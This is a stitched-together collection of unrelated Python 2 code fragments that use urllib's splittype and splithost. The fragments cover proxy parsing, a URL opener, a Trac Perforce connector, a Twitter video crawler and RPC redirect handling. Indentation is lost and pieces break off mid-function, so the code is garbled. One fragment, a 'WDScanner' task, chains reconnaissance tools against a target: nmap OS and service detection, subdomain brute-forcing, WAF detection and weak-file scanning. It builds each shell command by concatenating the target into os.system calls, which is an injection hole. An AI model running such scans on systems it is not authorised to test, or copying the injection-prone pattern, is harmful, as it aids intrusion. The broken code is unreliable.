authority = proxy
else:
# URL
if not r_scheme.startswith("//"):
raise ValueError("proxy URL with no authority: %r" % proxy)
# We have an authority, so for RFC 3986-compliant URLs (by ss 3.
# and 3.3.), path is empty or starts with '/'
end = r_scheme.find("/", 2)
if end == -1:
end = None
authority = r_scheme[2:end]
userinfo, hostport = splituser(authority)
if userinfo is not None:
user, password = splitpasswd(userinfo)
else:
user = password = None
return scheme, user, password, hostport
#
def split_url(url):
"""Splits a url into (uri_scheme, host[:port], path)"""
scheme, remainder = splittype(url)
host, path = splithost(remainder)
return scheme.lower(), host, path
def extract_hostname(url):
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
return host
class MyFancyUrlopener(urllib.FancyURLopener):
def retrieve(self, url, filename=None, reporthook=None, data=None):
"""retrieve(url) returns (filename, headers) for a local object
or (tempfilename, headers) for a remote object."""
url = urllib.unwrap(urllib.toBytes(url))
if self.tempcache and url in self.tempcache:
return self.tempcache[url]
type, url1 = urllib.splittype(url)
if filename is None and (not type or type == 'file'):
try:
fp = self.open_local_file(url1)
hdrs = fp.info()
del fp
return urllib.url2pathname(urllib.splithost(url1)[1]), hdrs
except IOError, msg:
pass
fp = self.open(url, data)
try:
headers = fp.info()
code = fp.code
if filename:
tfp = open(filename, 'wb')
else:
import tempfile
garbage, path = urllib.splittype(url)
garbage, path = urllib.splithost(path or "")
path, garbage = urllib.splitquery(path or "")
path, garbage = urllib.splitattr(path or "")
suffix = os.path.splitext(path)[1]
(fd, filename) = tempfile.mkstemp(suffix)
self.__tempfiles.append(filename)
tfp = os.fdopen(fd, 'wb')
try:
result = filename, headers, code
if self.tempcache is not None:
self.tempcache[url] = result
bs = 1024 * 8
size = -1
read = 0
blocknum = 0
if reporthook:
if "content-length" in headers:
size = int(headers["Content-Length"])
reporthook(blocknum, bs, size)
while 1:
block = fp.read(bs)
if block == "":
break
read += len(block)
tfp.write(block)
blocknum += 1
if reporthook:
reporthook(blocknum, bs, size)
finally:
tfp.close()
finally:
fp.close()
del fp
del tfp
# raise exception if actual size does not match content-length header
if size >= 0 and read < size:
raise urllib.ContentTooShortError(
"retrieval incomplete: got only %i out "
"of %i bytes" % (read, size), result)
return result
def __init__(self, uri):
self.uri = uri
self.headers = Headers()
self.type, rest = splittype(self.uri)
self.host, rest = splithost(rest)
def task(target, hash):
path = 'C:\WDScanner\WWW\TaskPython\TaskInfo\\'
logpath = 'C:\WDScanner\WWW\TaskPython\TaskInfo\loginfo\\' + hash + '\\'
print logpath
if not os.path.exists(logpath):
os.mkdir(logpath)
pwd = os.getcwd()
open(logpath + hash + '-domain.txt', 'w').close()
open(logpath + hash + '-subdomain.txt', 'w').close()
open(logpath + hash + '-nmap.txt', 'w').close()
open(logpath + hash + '-wyspider.txt', 'w').close()
open(logpath + hash + '-whatweb.txt', 'w').close()
open(logpath + hash + '-whatcms.txt', 'w').close()
open(logpath + hash + '-waf.txt', 'w').close()
open(logpath + hash + '-bugscancms.txt', 'w').close()
open(logpath + hash + '-bbscan.txt', 'w').close()
try:
print target
os.chdir(path)
print "-------------domain_start-------------"
url = target
if url[0:4] == 'http':
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
if host[0:3] == 'www':
host = host[4:]
elif url[0:3] == 'www':
host = url[4:]
else:
host = url
if ':' in host:
host = host.split(':')[0]
#从本地目录中检索目标子域名是否已经枚举过，如果枚举过则直接使用该文件。
domain_flag = 0
file_list = []
for r, d, f in os.walk(path + 'loginfo\\'):
for files in f:
file = "%s\%s" % (r, files)
if 'domain.txt' in file:
file_list.append(file)
for domain_file in file_list:
domain_file_content = open(domain_file, 'r').read()
# print domain_file
if host in domain_file_content:
print domain_file
domain_flag = 1
if 'domain' in domain_file:
shutil.copy(domain_file, logpath + hash + '-domain.txt')
if 'subdomain' in domain_file:
shutil.copy(domain_file, logpath + hash + '-subdomain.txt')
if (domain_flag == 0):
domain = 'python ' + path + 'wydomain\wydomain.py -d ' + host + ' -o ' + logpath + hash + '-domain.txt'
print domain
os.system(domain)
print "+++++++++++++domain_ok+++++++++++++"
#print "-------------whatcms_start-------------"
#whatcms = 'python ' + path + 'whatcms.py ' + target + ' ' + logpath + hash + '-whatcms.txt '
#print whatcms
#os.system(whatcms)
#print "+++++++++++++whatcms_ok+++++++++++++"
#print "-------------bugscancms_start-------------"
# print os.getcwd()
#bugscancms = 'python ' + path + 'bugscan-cms.py ' + target + ' ' + logpath + hash + '-bugscancms.txt '
#print bugscancms
#os.system(bugscancms)
#print "+++++++++++++bugscancms_ok+++++++++++++"
print "-------------nmap_start-------------"
url1 = target
if url1[0:4] == 'http':
proto, rest = urllib.splittype(url1)
host1, rest = urllib.splithost(rest)
else:
host1 = url1
if ':' in host1:
host1 = host1.split(':')[0]
nmap = 'nmap.exe -oN ' + logpath + hash + '-nmap.txt -sT -sV -O --script=banner --top-port 200 ' + host1
# nmap = 'nmap.exe -oN ' + logpath + hash + '-nmap.txt -sT -P0 -sV -O --script=banner -p T:80,3306,22,3389 '+ host1
print nmap
os.system(nmap)
print "+++++++++++++nmap_ok+++++++++++++"
print "-------------whatweb_start-------------"
whatweb = 'ruby ' + path + 'whatweb\whatweb --log-brief=' + logpath + hash + '-whatweb.txt ' + target
print whatweb
os.system(whatweb)
print "+++++++++++++whatweb_ok+++++++++++++"
print "-------------waf_start-------------"
waf = 'python ' + path + 'wafw00f\wafw00f\\bin\wafw00f ' + target + ' >> ' + logpath + hash + '-waf.txt '
print waf
os.system(waf)
print "+++++++++++++waf_ok+++++++++++++"
try:
if (domain_flag == 0):
print "-------------subdomain_start-------------"
os.chdir(path + '\subDomainsBrute-master\\')
subdomain = 'python ' + path + 'subDomainsBrute-master\subDomainsBrute.py ' + host + ' --out ' + logpath + hash + '-subdomain.txt'
print subdomain
os.system(subdomain)
print "+++++++++++++subdomain_ok+++++++++++++"
except:
pass
try:
print "-------------weakfile_start-------------"
os.chdir(path + '\BBScan\\')
bbscan = 'python ' + path + 'BBScan\BBScan.py --host ' + target + ' --no-browser --out ' + logpath + hash + '-bbscan.txt '
print bbscan
#os.system(bbscan)
os.chdir(path + '\weakfilescan\\')
wyspider = 'python ' + path + 'weakfilescan\wyspider.py ' + target + ' ' + logpath + hash + '-wyspider.txt '
print wyspider
os.system(wyspider)
print "+++++++++++++weakfile_ok+++++++++++++"
except:
pass
except Exception, e:
print e
pass
def get_repository(self, repos_type, repos_dir, authname):
assert repos_type == 'perforce'
import urllib
urltype, url = urllib.splittype(repos_dir)
assert urltype == 'p4' or url == 'p4'
options = dict(self.config.options('perforce'))
if urltype != None:
machine, path_query = urllib.splithost(url)
user_passwd, host_port = urllib.splituser(machine)
user, password = urllib.splitpasswd(user_passwd)
self._update_option(options, 'port', host_port)
self._update_option(options, 'password', password)
self._update_option(options, 'user', user)
path, query = urllib.splitquery(path_query)
if path and path != '':
for attr in self._splitattributes(query):
key, val = urllib.splitvalue(attr)
self._update_option(options, key, val)
self._update_option(options, 'path', path)
self.log.debug("get_repository options : %s" % (options))
if 'port' not in options:
raise TracError(
message="Missing 'port' value in [perforce] config section.",
title="TracPerforce configuration error",
)
# Try to connect to the Perforce server
from perforce import Connection, ConnectionFailed
p4 = Connection(
port=options['port'],
api='58', # Limit to 2005.2 behaviour
)
try:
from trac import __version__ as tracVersion
p4.connect(prog='Trac', version=tracVersion)
except ConnectionFailed:
raise TracError(
message="Could not connect to Perforce repository.",
title="Perforce connection error",
)
if 'user' not in options:
raise TracError(
message="Missing 'user' value in [perforce] config section.",
title="Perforce configuration error",
)
p4.user = options['user']
if 'password' in options:
p4.password = options['password']
else:
p4.password = ''
if 'unicode' in options:
if options['unicode'] == '1':
p4.charset = 'utf8'
elif options['unicode'] == '0':
p4.charset = 'none'
else:
raise TracError(
message="Invalid 'unicode' value in [perforce] config " \
"section.",
title="Perforce configuration error",
)
else:
p4.charset = 'none'
if 'language' in options:
p4.language = options['language']
else:
p4.language = ''
jobPrefixLength = 3 # default value because by default prefix is 'job'
if 'job_prefix' in options:
jobPrefixLength = len(options['job_prefix'])
p4.client = ''
repos = PerforceRepository(p4, self.log, jobPrefixLength)
from trac.versioncontrol.cache import CachedRepository
return PerforceCachedRepository(self.env.get_db_cnx(), repos, None,
self.log)
def parse_host(self):
proto, rest = urllib.splittype(self.get_host())
host, rest = urllib.splithost(rest)
host, port = urllib.splitport(host)
return host
def get_url_host(url):
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
return host
def do_open(self, http_class, req):
data = req.get_data()
v_files = []
v_vars = []
# mapping object (dict)
if req.has_data() and type(data) != str:
if hasattr(data, 'items'):
data = data.items()
else:
try:
if len(data) and not isinstance(data[0], tuple):
raise TypeError
except TypeError:
ty, va, tb = sys.exc_info()
raise TypeError, "not a valid non-string sequence or mapping object", tb
for (k, v) in data:
# if fd is provided with a filename
if isinstance(v, dict):
if not v.has_key('fd'):
raise TypeError("if value is dict, it must have keys 'fd' and 'filename")
if not v.has_key('filename'):
raise TypeError("if value is dict, it must have keys 'fd' and 'filename")
v_files.append( (k, v) )
elif hasattr(v, 'read'):
v_files.append( (k, v) )
else:
v_vars.append( (k, v) )
# no file ? convert to string
if len(v_vars) > 0 and len(v_files) == 0:
data = urllib.urlencode(v_vars)
v_files = []
v_vars = []
host = req.get_host()
if not host:
raise urllib2.URLError('no host given')
h = http_class(host) # will parse host:port
if req.has_data():
h.putrequest(req.get_method(), req.get_selector())
if not 'Content-type' in req.headers:
if len(v_files) > 0:
boundary = mimetools.choose_boundary()
l = send_data(v_vars, v_files, boundary)
h.putheader('Content-Type',
'multipart/form-data; boundary=%s' % boundary)
h.putheader('Content-length', str(l))
else:
h.putheader('Content-type',
'application/x-www-form-urlencoded')
if not 'Content-length' in req.headers:
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest(req.get_method(), req.get_selector())
scheme, sel = urllib.splittype(req.get_selector())
sel_host, sel_path = urllib.splithost(sel)
h.putheader('Host', sel_host or host)
for name, value in self.parent.addheaders:
name = name.capitalize()
if name not in req.headers:
h.putheader(name, value)
for k, v in req.headers.items():
h.putheader(k, v)
# httplib will attempt to connect() here. be prepared
# to convert a socket error to a URLError.
try:
h.endheaders()
except socket.error, err:
raise urllib2.URLError(err)
def get_video_play_page(tweet_id):
video_play_url = "https://api.twitter.com/1.1/videos/tweet/config/%s.json" % tweet_id
header_list = {
"authorization": "Bearer " + AUTHORIZATION,
"x-csrf-token": COOKIE_INFO["ct0"],
}
video_play_response = net.http_request(video_play_url,
method="GET",
cookies_list=COOKIE_INFO,
header_list=header_list,
json_decode=True)
result = {
"video_url": None, # 视频地址
}
if video_play_response.status != net.HTTP_RETURN_CODE_SUCCEED:
raise crawler.CrawlerException(
crawler.request_failre(video_play_response.status))
if not crawler.check_sub_key(("track", ), video_play_response.json_data):
raise crawler.CrawlerException("返回信息'track'字段不存在\n%s" %
video_play_response.json_data)
if not crawler.check_sub_key(
("playbackUrl", ), video_play_response.json_data["track"]):
raise crawler.CrawlerException("返回信息'playbackUrl'字段不存在\n%s" %
video_play_response.json_data["track"])
file_url = str(video_play_response.json_data["track"]["playbackUrl"])
file_type = file_url.split("?")[0].split(".")[-1]
# m3u8文件，需要再次访问获取真实视频地址
# https://api.twitter.com/1.1/videos/tweet/config/996368816174084097.json
if file_type == "m3u8":
file_url_protocol, file_url_path = urllib.splittype(file_url)
file_url_host = urllib.splithost(file_url_path)[0]
m3u8_file_response = net.http_request(file_url, method="GET")
# 没有权限，可能是地域限制
if m3u8_file_response.status == 403:
return result
elif m3u8_file_response.status != net.HTTP_RETURN_CODE_SUCCEED:
raise crawler.CrawlerException(
"m3u8文件 %s 访问失败，%s" %
(file_url, crawler.request_failre(m3u8_file_response.status)))
include_m3u8_file_list = re.findall("(/[\S]*.m3u8)",
m3u8_file_response.data)
if len(include_m3u8_file_list) > 0:
# 生成最高分辨率视频所在的m3u8文件地址
file_url = "%s://%s%s" % (file_url_protocol, file_url_host,
include_m3u8_file_list[-1])
m3u8_file_response = net.http_request(file_url, method="GET")
if m3u8_file_response.status != net.HTTP_RETURN_CODE_SUCCEED:
raise crawler.CrawlerException(
"最高分辨率m3u8文件 %s 访问失败，%s" %
(file_url, crawler.request_failre(
m3u8_file_response.status)))
# 包含分P视频文件名的m3u8文件
ts_url_find = re.findall("(/[\S]*.ts)", m3u8_file_response.data)
if len(ts_url_find) == 0:
raise crawler.CrawlerException("m3u8文件截取视频地址失败\n%s\n%s" %
(file_url, m3u8_file_response.data))
result["video_url"] = []
for ts_file_path in ts_url_find:
result["video_url"].append(
"%s://%s%s" %
(file_url_protocol, file_url_host, str(ts_file_path)))
# 直接是视频地址
# https://api.twitter.com/1.1/videos/tweet/config/996368816174084097.json
else:
result["video_url"] = file_url
return result
def url_www(
url
): #URL地址中提取网址 http://www.bizschool.cn/plus/90sec.php www.bizschool.cn
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
return host
def get_base_url(full_url):
proto, l = urllib.splittype(full_url)
host, l = urllib.splithost(l)
return "%s://%s" % (proto, host)
def beforeTearDown(self):
url_parts = urllib.splittype(self._old_request_url)
self.portal.REQUEST.setServerURL(*url_parts)
def protocol_access(url, mode, params, data=None):
scheme, resturl = splittype(url)
if not scheme:
raise IOError("protocol error", "no scheme identifier in URL", url)
scheme = str.lower(scheme)
sanitized = regsub.gsub("[^a-zA-Z0-9]", "_", scheme)
#
# Check first to see if proxies are enabled
manual_proxy_enabled = grailutil.pref_or_getenv('manual_proxy_enabled',
type_name='int')
app = grailutil.get_grailapp()
if manual_proxy_enabled:
proxy_name = sanitized + "_proxy"
if manual_proxy_enabled == -1:
#
# We should only get here when there are no user preferences
# for proxies, which should only happen once... so check the
# environment for the rest of the known scheme proxy env vars
# and load them into prefs if they exist.
app.prefs.Set('proxies', 'manual_proxy_enabled', 0)
proxy = None
for next_proxy_name in VALID_PROXIES:
next_proxy = grailutil.pref_or_getenv(next_proxy_name,
check_ok=VALID_PROXIES)
if next_proxy:
app.prefs.Set('proxies', 'manual_proxy_enabled', 1)
if next_proxy_name == proxy_name:
proxy = next_proxy
no_proxy_enabled = grailutil.pref_or_getenv('no_proxy_enabled',
type_name='int')
if no_proxy_enabled == -1:
no_proxy = grailutil.pref_or_getenv('no_proxy')
if no_proxy:
app.prefs.Set('proxies', 'no_proxy_enabled', 1)
else:
app.prefs.Set('proxies', 'no_proxy_enabled', 0)
else:
proxy = grailutil.pref_or_getenv(proxy_name,
check_ok=VALID_PROXIES)
else:
proxy = None
if proxy:
if not valid_proxy(proxy):
error = 'Invalid proxy: ' + proxy
raise IOError, error
no_proxy_enabled = grailutil.pref_or_getenv('no_proxy_enabled',
type_name='int')
if no_proxy_enabled:
no_proxy = grailutil.pref_or_getenv('no_proxy')
else:
no_proxy = None
do_proxy = 1
if no_proxy:
list = map(str.strip, str.split(no_proxy, ","))
url_host, url_remains = splithost(resturl)
url_host = str.lower(url_host or '')
if proxy_exception(url_host, list):
do_proxy = 0
else:
url_host, url_port = splitport(url_host)
if proxy_exception(url_host, list):
do_proxy = 0
if do_proxy:
proxy_scheme, proxy_resturl = splittype(proxy)
proxy_host, proxy_remains = splithost(proxy_resturl)
resturl = (proxy_host, url)
scheme = str.lower(proxy_scheme)
sanitized = regsub.gsub("[^a-zA-Z0-9]", "_", scheme)
## print "Sending", url
## print " to", scheme, "proxy", proxy_host
modname = sanitized + "API"
app = grailutil.get_grailapp()
access = app.find_extension('protocols', sanitized).access
if not access:
raise IOError("protocol error", "no class for %s" % scheme)
try:
if data:
return access(resturl, mode, params, data)
else:
return access(resturl, mode, params)
except socket.error as msg:
raise IOError("socket error", msg)
def is_local_path(self):
urllib.splittype(self.get_uri() or "")[0] in (None, "file")
def _new_req_body(self):
type, tmpuri = urllib.splittype(self._redirected)
site, handler = urllib.splithost(tmpuri)
return handler
def GetHost(self,url):
proto,rest=urllib.splittype(url)
host,rest=urllib.splithost(rest)
return host
def getdomain(self):
proto, rest = urllib.splittype(self.link)
host, rest = urllib.splithost(rest)
return host
def _request(self, methodname, params):
""" Call a method on the remote server
we can handle redirections. """
# the loop is used to handle redirections
redirect_response = 0
retry = 0
self._reset_host_handler_and_type()
while 1:
if retry >= MAX_REDIRECTIONS:
raise InvalidRedirectionError(
"Unable to fetch requested Package")
# Clear the transport headers first
self._transport.clear_headers()
for k, v in self._headers.items():
self._transport.set_header(k, v)
self._transport.add_header(
"X-Info", 'RPC Processor (C) Red Hat, Inc (version %s)' %
self.rpc_version)
# identify the capability set of this client to the server
self._transport.set_header("X-Client-Version", 1)
if self._allow_redirect:
# Advertise that we follow redirects
#changing the version from 1 to 2 to support backward compatibility
self._transport.add_header("X-RHN-Transport-Capability",
"follow-redirects=3")
if redirect_response:
self._transport.add_header('X-RHN-Redirect', '0')
if self.send_handler:
self._transport.add_header('X-RHN-Path', self.send_handler)
request = self._req_body(self._strip_characters(params),
methodname)
try:
response = self._transport.request(self._host, \
self._handler, request, verbose=self._verbose)
save_response = self._transport.response_status
except xmlrpclib.ProtocolError, pe:
if self.use_handler_path:
raise
else:
save_response = pe.errcode
self._redirected = None
retry += 1
if save_response == 200:
# exit redirects loop and return response
break
elif save_response not in (301, 302):
# Retry pkg fetch
self.use_handler_path = 1
continue
# rest of loop is run only if we are redirected (301, 302)
self._redirected = self._transport.redirected()
self.use_handler_path = 0
redirect_response = 1
if not self._allow_redirect:
raise InvalidRedirectionError("Redirects not allowed")
if self._verbose:
print "%s redirected to %s" % (self._uri, self._redirected)
typ, uri = urllib.splittype(self._redirected)
if typ != None:
typ = typ.lower()
if typ not in ("http", "https"):
raise InvalidRedirectionError(
"Redirected to unsupported protocol %s" % typ)
#
# We forbid HTTPS -> HTTP for security reasons
# Note that HTTP -> HTTPS -> HTTP is allowed (because we compare
# the protocol for the redirect with the original one)
#
if self._type == "https" and typ == "http":
raise InvalidRedirectionError(
"HTTPS redirected to HTTP is not supported")
self._host, self._handler = urllib.splithost(uri)
if not self._handler:
self._handler = "/RPC2"
# Create a new transport for the redirected service and
# set up the parameters on the new transport
del self._transport
self._transport = self.default_transport(typ, self._proxy,
self._username,
self._password,
self._timeout)
self.set_progress_callback(self._progressCallback)
self.set_refresh_callback(self._refreshCallback)
self.set_buffer_size(self._bufferSize)
self.setlang(self._lang)
if self._trusted_cert_files != [] and \
hasattr(self._transport, "add_trusted_cert"):
for certfile in self._trusted_cert_files:
self._transport.add_trusted_cert(certfile)
usage()
sys.exit()
pass
# ... check the URL, then
elif not extra[0].startswith("ssh://"):
print "Invalid url: " + extra[0]
usage()
sys.exit(2)
pass
# ... probe the URL or
elif len(extra) == 1:
try:
st = SSHTransport(user_agent=user_agent,
ssh_identity=ssh_identity,
ssh_opts=ssh_opts)
type, uri = urllib.splittype(extra[0])
host, handler = urllib.splithost(uri)
rc = st.probe(host, handler, {"date": time.ctime(time.time())},
verbose)
secs = time.mktime(time.strptime(rc["date"]))
print "Probe results for: " + extra[0]
print " response time=%.2f s" % (time.time() - secs)
print "Response Headers"
for pair in rc.items():
print " %s: %s" % pair
pass
pass
except BadResponse, e:
print("sshxmlrpc.py: error - bad response from " + extra[0] +
"; " + e[2])
def _getDomain(self, url):
proto, rest = urllib.splittype(url)
host, rest = urllib.splithost(rest)
return host
def get_type(self):
if self.type is None:
self.type, self.__r_type = splittype(self.__original)
if self.type is None:
raise ValueError, "unknown url type: %s" % self.__original
return self.type
def open_http(self, url, data=None):
"""Use HTTP protocol."""
import httplib
user_passwd = None
if type(url) is type(""):
host, selector = splithost(url)
if host:
user_passwd, host = splituser(host)
host = unquote(host)
realhost = host
else:
host, selector = url
urltype, rest = splittype(selector)
url = rest
user_passwd = None
if string.lower(urltype) != 'http':
realhost = None
else:
realhost, rest = splithost(rest)
if realhost:
user_passwd, realhost = splituser(realhost)
if user_passwd:
selector = "%s://%s%s" % (urltype, realhost, rest)
#print "proxy via http:", host, selector
if not host: raise IOError, ('http error', 'no host given')
if user_passwd:
import base64
auth = string.strip(base64.encodestring(user_passwd))
else:
auth = None
h = httplib.HTTP(host)
if data is not None:
h.putrequest('POST', selector)
h.putheader('Content-type', 'application/x-www-form-urlencoded')
h.putheader('Content-length', '%d' % len(data))
else:
h.putrequest('GET', selector)
for cookie in self.cookies.items():
h.putheader('Cookie', '%s=%s;' % cookie)
if auth: h.putheader('Authorization', 'Basic %s' % auth)
if realhost: h.putheader('Host', realhost)
for args in self.addheaders:
apply(h.putheader, args)
h.endheaders()
if data is not None:
h.send(data + '\r\n')
errcode, errmsg, headers = h.getreply()
if headers and headers.has_key('set-cookie'):
cookies = headers.getallmatchingheaders('set-cookie')
for cookie in cookies:
self.cookies.load(cookie)
fp = h.getfile()
if errcode == 200:
return addinfourl(fp, headers, "http:" + url)
else:
if data is None:
return self.http_error(url, fp, errcode, errmsg, headers)
else:
return self.http_error(url, fp, errcode, errmsg, headers, data)
